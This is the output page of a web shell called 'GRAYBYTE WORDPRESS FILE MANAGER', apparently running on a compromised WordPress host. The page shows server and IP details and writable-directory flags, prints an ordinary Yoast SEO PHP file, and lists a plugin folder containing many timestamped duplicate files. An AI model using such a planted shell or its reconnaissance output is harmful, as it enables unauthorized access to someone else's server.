✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ webm004.cluster127.gra.hosting.ovh.net ​🇻​♯➤ 6.18.42-ovh-vps-grsec-zfs+ #1 SMP 🇾​♯➤ 2026

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 54.36.91.62 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.191
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ _dyuweyrj4,_dyuweyrj4r,dl

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /home/docteuh/www/cli/auth/cgi_bin/serverhttpson/01/third-party/src//indexable-author-builder.php
<?php

namespace Yoast\WP\SEO\Builders;

use Yoast\WP\SEO\Exceptions\Indexable\Author_Not_Built_Exception;
use Yoast\WP\SEO\Helpers\Author_Archive_Helper;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Helpers\Post_Helper;
use Yoast\WP\SEO\Models\Indexable;
use Yoast\WP\SEO\Values\Indexables\Indexable_Builder_Versions;

/**
 * Author Builder for the indexables.
 *
 * Formats the author meta to indexable format.
 */
class Indexable_Author_Builder {

	use Indexable_Social_Image_Trait;

	/**
	 * The author archive helper.
	 *
	 * @var Author_Archive_Helper
	 */
	private $author_archive;

	/**
	 * The latest version of the Indexable_Author_Builder.
	 *
	 * @var int
	 */
	protected $version;

	/**
	 * Holds the options helper instance.
	 *
	 * @var Options_Helper
	 */
	protected $options_helper;

	/**
	 * Holds the taxonomy helper instance.
	 *
	 * @var Post_Helper
	 */
	protected $post_helper;

	/**
	 * Indexable_Author_Builder constructor.
	 *
	 * @param Author_Archive_Helper      $author_archive The author archive helper.
	 * @param Indexable_Builder_Versions $versions       The Indexable version manager.
	 * @param Options_Helper             $options_helper The options helper.
	 * @param Post_Helper                $post_helper    The post helper.
	 */
	public function __construct(
		Author_Archive_Helper $author_archive,
		Indexable_Builder_Versions $versions,
		Options_Helper $options_helper,
		Post_Helper $post_helper
	) {
		$this->author_archive = $author_archive;
		$this->version        = $versions->get_latest_version_for_type( 'user' );
		$this->options_helper = $options_helper;
		$this->post_helper    = $post_helper;
	}

	/**
	 * Formats the data.
	 *
	 * @param int       $user_id   The user to retrieve the indexable for.
	 * @param Indexable $indexable The indexable to format.
	 *
	 * @return Indexable The extended indexable.
	 *
	 * @throws Author_Not_Built_Exception When author is not built.
	 */
	public function build( $user_id, Indexable $indexable ) {
		$exception = $this->check_if_user_should_be_indexed( $user_id );
		if ( $exception ) {
			throw $exception;
		}

		$meta_data = $this->get_meta_data( $user_id );

		$indexable->object_id              = $user_id;
		$indexable->object_type            = 'user';
		$indexable->permalink              = \get_author_posts_url( $user_id );
		$indexable->title                  = $meta_data['wpseo_title'];
		$indexable->description            = $meta_data['wpseo_metadesc'];
		$indexable->is_cornerstone         = false;
		$indexable->is_robots_noindex      = ( $meta_data['wpseo_noindex_author'] === 'on' );
		$indexable->is_robots_nofollow     = null;
		$indexable->is_robots_noarchive    = null;
		$indexable->is_robots_noimageindex = null;
		$indexable->is_robots_nosnippet    = null;
		$indexable->is_public              = ( $indexable->is_robots_noindex ) ? false : null;
		$indexable->has_public_posts       = $this->author_archive->author_has_public_posts( $user_id );
		$indexable->blog_id                = \get_current_blog_id();

		$this->reset_social_images( $indexable );
		$this->handle_social_images( $indexable );

		$timestamps                      = $this->get_object_timestamps( $user_id );
		$indexable->object_published_at  = $timestamps->published_at;
		$indexable->object_last_modified = $timestamps->last_modified;

		$indexable->version = $this->version;

		return $indexable;
	}

	/**
	 * Retrieves the meta data for this indexable.
	 *
	 * @param int $user_id The user to retrieve the meta data for.
	 *
	 * @return array List of meta entries.
	 */
	protected function get_meta_data( $user_id ) {
		$keys = [
			'wpseo_title',
			'wpseo_metadesc',
			'wpseo_noindex_author',
		];

		$output = [];
		foreach ( $keys as $key ) {
			$output[ $key ] = $this->get_author_meta( $user_id, $key );
		}

		return $output;
	}

	/**
	 * Retrieves the author meta.
	 *
	 * @param int    $user_id The user to retrieve the indexable for.
	 * @param string $key     The meta entry to retrieve.
	 *
	 * @return string|null The value of the meta field.
	 */
	protected function get_author_meta( $user_id, $key ) {
		$value = \get_the_author_meta( $key, $user_id );
		if ( \is_string( $value ) && $value === '' ) {
			return null;
		}

		return $value;
	}

	/**
	 * Finds an alternative image for the social image.
	 *
	 * @param Indexable $indexable The indexable.
	 *
	 * @return array|bool False when not found, array with data when found.
	 */
	protected function find_alternative_image( Indexable $indexable ) {
		$gravatar_image = \get_avatar_url(
			$indexable->object_id,
			[
				'size'   => 500,
				'scheme' => 'https',
			],
		);
		if ( $gravatar_image ) {
			return [
				'image'  => $gravatar_image,
				'source' => 'gravatar-image',
			];
		}

		return false;
	}

	/**
	 * Returns the timestamps for a given author.
	 *
	 * @param int $author_id The author ID.
	 *
	 * @return object An object with last_modified and published_at timestamps.
	 */
	protected function get_object_timestamps( $author_id ) {
		global $wpdb;
		$post_statuses = $this->post_helper->get_public_post_statuses();

		$replacements   = [];
		$replacements[] = 'post_modified_gmt';
		$replacements[] = 'post_date_gmt';
		$replacements[] = $wpdb->posts;
		$replacements[] = 'post_status';
		$replacements   = \array_merge( $replacements, $post_statuses );
		$replacements[] = 'post_password';
		$replacements[] = 'post_author';
		$replacements[] = $author_id;

		//phpcs:disable WordPress.DB.PreparedSQLPlaceholders -- %i placeholder is still not recognized.
		//phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery -- Reason: Most performant way.
		//phpcs:disable WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: No relevant caches.
		return $wpdb->get_row(
			$wpdb->prepare(
				'
				SELECT MAX(p.%i) AS last_modified, MIN(p.%i) AS published_at
				FROM %i AS p
				WHERE p.%i IN (' . \implode( ', ', \array_fill( 0, \count( $post_statuses ), '%s' ) ) . ")
					AND p.%i = ''
					AND p.%i = %d
				",
				$replacements,
			),
		);
		//phpcs:enable
	}

	/**
	 * Checks if the user should be indexed.
	 * Returns an exception with an appropriate message if not.
	 *
	 * @param string $user_id The user id.
	 *
	 * @return Author_Not_Built_Exception|null The exception if it should not be indexed, or `null` if it should.
	 */
	protected function check_if_user_should_be_indexed( $user_id ) {
		$exception = null;

		if ( $this->author_archive->are_disabled() ) {
			$exception = Author_Not_Built_Exception::author_archives_are_disabled( $user_id );
		}
		// We will check if the author has public posts the WP way, instead of the indexable way, to make sure we get proper results even if SEO optimization is not run.
		// In case the user has no public posts, we check if the user should be indexed anyway.
		elseif ( $this->options_helper->get( 'noindex-author-noposts-wpseo', false ) === true && $this->author_archive->author_has_public_posts_wp( $user_id ) === false ) {
			$exception = Author_Not_Built_Exception::author_archives_are_not_indexed_for_users_without_posts( $user_id );
		}

		/**
		 * Filter: Include or exclude a user from being build and saved as an indexable.
		 * Return an `Author_Not_Built_Exception` when the indexable should not be build, with an appropriate message telling why it should not be built.
		 * Return `null` if the indexable should be build.
		 *
		 * @param Author_Not_Built_Exception|null $exception An exception if the indexable is not being built, `null` if the indexable should be built.
		 * @param string                          $user_id   The ID of the user that should or should not be excluded.
		 */
		return \apply_filters( 'wpseo_should_build_and_save_user_indexable', $exception, $user_id );
	}
}


Current_dir [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
13 Sep 2026 5.14 PM
docteuh / users
0755
actions
--
13 Sep 2026 5.14 PM
docteuh / users
0755
ai-authorization
--
13 Sep 2026 5.14 PM
docteuh / users
0755
ai-consent
--
13 Sep 2026 5.14 PM
docteuh / users
0755
ai-free-sparks
--
13 Sep 2026 5.14 PM
docteuh / users
0755
ai-http-request
--
13 Sep 2026 5.14 PM
docteuh / users
0755
alerts
--
13 Sep 2026 5.14 PM
docteuh / users
0755
analytics
--
13 Sep 2026 5.14 PM
docteuh / users
0755
builders
--
13 Sep 2026 5.14 PM
docteuh / users
0755
commands
--
13 Sep 2026 5.14 PM
docteuh / users
0755
conditionals
--
13 Sep 2026 5.14 PM
docteuh / users
0755
config
--
13 Sep 2026 5.14 PM
docteuh / users
0755
context
--
13 Sep 2026 5.14 PM
docteuh / users
0755
elementor
--
13 Sep 2026 5.14 PM
docteuh / users
0755
expiring-store
--
13 Sep 2026 5.14 PM
docteuh / users
0755
generated
--
13 Sep 2026 5.14 PM
docteuh / users
0755
generators
--
13 Sep 2026 5.14 PM
docteuh / users
0755
helpers
--
13 Sep 2026 5.14 PM
docteuh / users
0755
images
--
13 Sep 2026 5.14 PM
docteuh / users
0755
initializers
--
13 Sep 2026 5.14 PM
docteuh / users
0755
integrations
--
13 Sep 2026 5.14 PM
docteuh / users
0755
introductions
--
13 Sep 2026 5.14 PM
docteuh / users
0755
llms-txt
--
13 Sep 2026 5.14 PM
docteuh / users
0755
models
--
13 Sep 2026 5.14 PM
docteuh / users
0755
myyoast-client
--
13 Sep 2026 5.14 PM
docteuh / users
0755
plans
--
13 Sep 2026 5.14 PM
docteuh / users
0755
presentations
--
13 Sep 2026 5.14 PM
docteuh / users
0755
routes
--
13 Sep 2026 5.14 PM
docteuh / users
0755
schema
--
13 Sep 2026 5.14 PM
docteuh / users
0755
services
--
13 Sep 2026 5.14 PM
docteuh / users
0755
surfaces
--
13 Sep 2026 5.14 PM
docteuh / users
0755
task-list
--
13 Sep 2026 5.14 PM
docteuh / users
0755
values
--
13 Sep 2026 5.14 PM
docteuh / users
0755
wordpress
--
13 Sep 2026 5.14 PM
docteuh / users
0755
wrappers
--
13 Sep 2026 5.14 PM
docteuh / users
0755
BodySummarizerInterface.php
0.292 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
HandlerStack.php
8.665 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
Pool.php
4.915 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
UploadedFileInterface.php
4.671 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
abstract-indexable-tag-presenter.php
1.746 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
abstract-presenter.php
0.368 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
aioseo-helper-20260828152248-20260828185857.php
1.236 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
breadcrumbs-generator.php
12.619 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
class-admin-20260904002521.php
12.73 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
class-admin-asset-manager.php
20.573 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
class-admin.php
12.73 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
class-capability-utils.php
2.342 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
classes-surface.php
0.795 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
code-generator.php
0.64 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
crawl-cleanup-permalinks-20260831004337.php
5.395 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
crawl-cleanup-permalinks.php
5.395 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
feature-flag-conditional-20260828011717.php
0.89 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
feature-flag-conditional-20260831004336.php
0.89 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
feature-flag-conditional.php
0.89 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
functions-20260827155733.php
0.681 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
functions.php
0.681 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
howto.php
5.86 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
icon-redirect-manager-20260827050340-20260827184106.svg
1.299 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
icon-redirect-manager-20260827050340.svg
1.299 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
icon-redirect-manager-20260827052159-20260827184108.svg
1.299 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
icon-redirect-manager-20260827052159.svg
1.299 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
icon-redirect-manager-20260827052201-20260827184019.svg
1.299 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
icon-redirect-manager-20260827052201.svg
1.299 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
icon-redirect-manager-20260827052203.svg
1.299 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
icon-redirect-manager-20260827052204.svg
1.299 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
icon-redirect-manager-20260828020830.svg
1.299 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
icon-redirect-manager.svg
1.299 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
indexable-author-archive-presentation.php
4.21 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
indexable-author-builder.php
7.583 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
integration-interface.php
0.416 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
main-20260827124941.php
1.824 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
main.php
1.824 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
open-graph-conditional.php
0.711 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
plugin-headers.php
0.723 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
primary-term.php
0.652 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
schema-helpers-surface.php
2.85 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
semrush-client-20260827182002.php
2.617 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
string-helper.php
1.189 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
wp-seo-main.php
17.215 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
wpml-config.xml
2.081 KB
23 Jun 2026 6.20 PM
docteuh / users
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF